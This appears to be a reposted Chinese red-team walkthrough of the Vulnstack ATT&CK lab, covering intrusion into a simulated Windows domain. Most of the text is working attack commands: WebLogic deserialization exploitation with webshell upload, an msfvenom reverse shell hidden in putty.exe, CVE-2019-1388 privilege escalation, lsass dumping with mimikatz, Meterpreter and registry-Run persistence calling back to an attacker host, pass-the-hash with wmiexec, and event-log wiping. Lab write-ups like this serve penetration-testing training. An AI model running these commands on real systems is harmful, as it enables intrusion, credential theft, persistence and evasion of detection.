赞
踩
ATT&CK实战系列—红队实战(二)是红日安全团队出品的一个实战环境,该靶场模拟真实环境,本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX 模拟环境拓扑图如下:
靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 靶场配置如下: 环境说明 内网网段:10.10.10.1/24 DMZ网段:192.168.1.1/24 测试机地址:192.168.1.140(Windows),192.168.1.136(Linux) 防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问): deny all tcp ports:10.10.10.1 allow all tcp ports:10.10.10.0/24 配置信息 DC IP:10.10.10.10 OS:Windows 2012(64) 应用:AD域 WEB IP1:10.10.10.80 IP2:192.168.1.144 OS:Windows 2008(64) 应用:Weblogic 10.3.6 MSSQL 2008 PC IP1:10.10.10.201 IP2:192.168.1.143 OS:Windows 7(32) 应用: 攻击机 IP:192.168.111.140 OS:Windows 7 IP:192.168.111.136 OS:kali
涉及技术点:
1. Bypass UAC
2. Windows系统NTLM获取(理论知识:Windows认证)
3. Access Token利用(MSSQL利用)
4. WMI利用
5. 网页代理,二层代理,特殊协议代理(DNS,ICMP)
6. 域内信息收集
7. 域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
8. 域凭证收集
9. 后门技术(黄金票据/白银票据/Sid History/MOF)
nmap -sV -O 192.168.1.144
nmap -Pn -A -T4 192.168.1.144
dirb http://192.168.1.144:7001 /usr/share/wordlists/dirb/vulns/weblogic.txt
nmap --script=vuln,auth 192.168.1.144
nmap 192.168.1.144 --script=auth,vuln,ftp-brute,imap-brute,smtp-brute,pop3-brute,mongodb-brute,redis-brute,ms-sql-brute,rlogin-brute,rsync-brute,mysql-brute,pgsql-brute,oracle-sid-brute,oracle-brute,rtsp-url-brute,snmp-brute,svn-brute,telnet-brute,vnc-brute,xmpp-brute
Ms17-010 利用失败
Cve-2019-2725 反序列化漏洞
利用漏洞上传冰蝎马
上传路径:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war\shell.jsp
访问路径:
http://192.168.1.144:7001/uddiexplorer/shell.jsp
其他路径:
1.image 目录 C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
shell 访问 http://xxxx/console/framework/skins/wlsconsole/images/shell.jsp
2.安装目录 C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
shell 访问 http://xxxx/项目名/shell.jsp
本机信息主要包括主机的系统、权限、内网分配 IP 地址段、端口、服务、共享、会话、网络连接信息、补丁更新频率、安装的软件杀毒等。如果是域内主机,系统、软件、补丁、服务、杀毒一般都是批量安装的。通过收集本机的相关信息,可以进一步了解整个域的操作系统版本、 软件、补丁、用户命名方式等。
0.查询当前权限、账号信息 whoami whoami /all 1. 查询网络配置信息 ipconfig /all 2.查询操作系统及安装软件的版本信息 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 3.查询本机服务信息 wmic service list brief 4.查询进程列表 tasklist /v wmic process list brief 5.查看启动程序信息 wmic startup get command,caption 6.查看计划任务 schtasks /query /fo LIST /v 7.查看主机开机时间 net statistics workstation 8.查询用户列表、获取本地管理员信息、查看当前在线用户 net user net localgroup administrators query user || qwinsta 9.列出或断开本地计算机和连接的客户端的会话 net session 10.查询端口列表 netstat -ano 11.查询补丁列表 Systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn 12.查询本机共享 net share wmic share get name,path,status 13.查询路由表及所有可用接口的 ARP 缓存表 route print Arp –A 14.查询防火墙相关配置 netsh firewall show config 15.查看计算机代理配置情况 reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" 16.查询远程连接服务 在 cmd 下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389. REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
使用冰蝎反弹msf-shell,创建账户,关闭360
由于冰蝎反弹的shell,功能不够,使用 msfvenom 马获取shell,提权成功
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=12345 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o putty_shell.exe
提权exp:
https://github.com/mai-lang-chai/System-Vulnerability/raw/master/Windows/CVE-2019-1388/hhupd.exe
以管理员身份运行hhupd.exe, 显示有关次发布者的证书信息,然后点击颁发者链接,关闭窗口
页面另存为,然后,输入System32路径,C:\Windows\System32*.*
然后右键打开cmd ,输入whoami,提权成功。
Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz导出lsass.dmp 文件中的密码散列值
privilege::debug ##在命令行环境中运行mimikatz,提升权限
sekurlsa::minidump c:\users\test\appdata\local\temp\lsass.dmp ##将lsass.dmp 文件加载到mimikatz中。
sekurlsa::logonpasswords ##导出密码散列值
参考链接:https://www.cnblogs.com/xiaozi/p/11798030.html
使用Meterpreter脚本和后期利用模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个有效负载,该负载将被拖放到磁盘上,并将创建一个注册表项,该注册表项将在用户登录期间运行该有效负载。用户下次登录系统时,将打开一个新的Meterpreter会话。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 192.168.1.136
使用post/windows/manage/persistence_exe 模块
如果已获得系统级别的特权,则可以将该模块配置为在HKLM位置中创建注册表项。该STARTUP选项将需要改变系统。
进入注册表可以看到,创建了一个启动项。重启电脑后成功上线。
注册表项可以从终端添加到运行键以实现持久性。这些键将包含对用户登录时将执行的实际负载的引用,已知使用此持久性方法的威胁因素和红队使用以下注册表位置。
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
如果已获得提升的凭据,则最好使用本地计算机注册表位置,而不是当前用户,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关。
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
另外两个注册表位置,这些位置可以允许红队通过执行任意有效负载或DLL来实现持久性。这些将在登录期间执行,并且需要管理员级别的特权。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"
使用msf 内置模块搭建socks5
查看域名 Net config workstation Ipconfig /all 查看几个域 Net view /domain 查看是否是域名主机 Net time /domain 查看域内主机 Net user /domain 查看域控 Net group “domain controllers /domain” 查看域管理员 Net group “domain admins” /domain
使用 auxiliary/scanner/smb/smb_version 模块进行探测
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 10.10.10.90
proxychains4 wmiexec.py -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10
使用sockscap 64 代理连接域控:
由于配置了下次登录必须更改密码的策略,这里就不更改了,回去重新创建一个账号
1、利用 ms17-010 漏洞
2、wmi 横向渗透
由于 PC 机存在360 漏洞利用和wmi 均利用失败,最后只能使用域账号进入系统了。
3、使用域账号
有远程桌面权限时手动删除日志: 开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志 wevtutil: wevtutil el 列出系统中所有日志名称 wevtutil cl system 清理系统日志 wevtutil cl application 清理应用程序日志 wevtutil cl security 清理安全日志 meterperter自带清除日志功能: clearev 清除windows中的应用程序日志、系统日志、安全日志 清除recent: 在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮 或直接打开C:\Users\Administrator\Recent并删除所有内容 或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。